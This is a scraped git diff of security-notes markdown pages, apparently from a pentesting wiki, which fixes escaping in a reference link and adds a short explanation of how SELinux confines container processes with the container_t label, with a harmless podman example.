@ -1419,6 +1423,6 @@ sudo chattr -i file.txt
|
|||
**Other references**:
|
||||
|
||||
* [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
|
||||
* [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.)
|
||||
* [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.)
|
||||
* [https://linux-audit.com/linux-capabilities-101/](https://linux-audit.com/linux-capabilities-101/)
|
||||
* [https://www.linuxjournal.com/article/5737](https://www.linuxjournal.com/article/5737)
|
||||
|
|
|
|||
|
|
@ -1,6 +1,19 @@
|
|||
# SELinux
|
||||
|
||||
## SELinux in Containers
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
|
||||
|
||||
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
|
||||
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
$ podman top -l label
|
||||
LABEL
|
||||
system_u:system_r:container_t:s0:c647,c780
|
||||
```
|
||||
|
||||
## SELinux Users
|
||||
|
||||
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue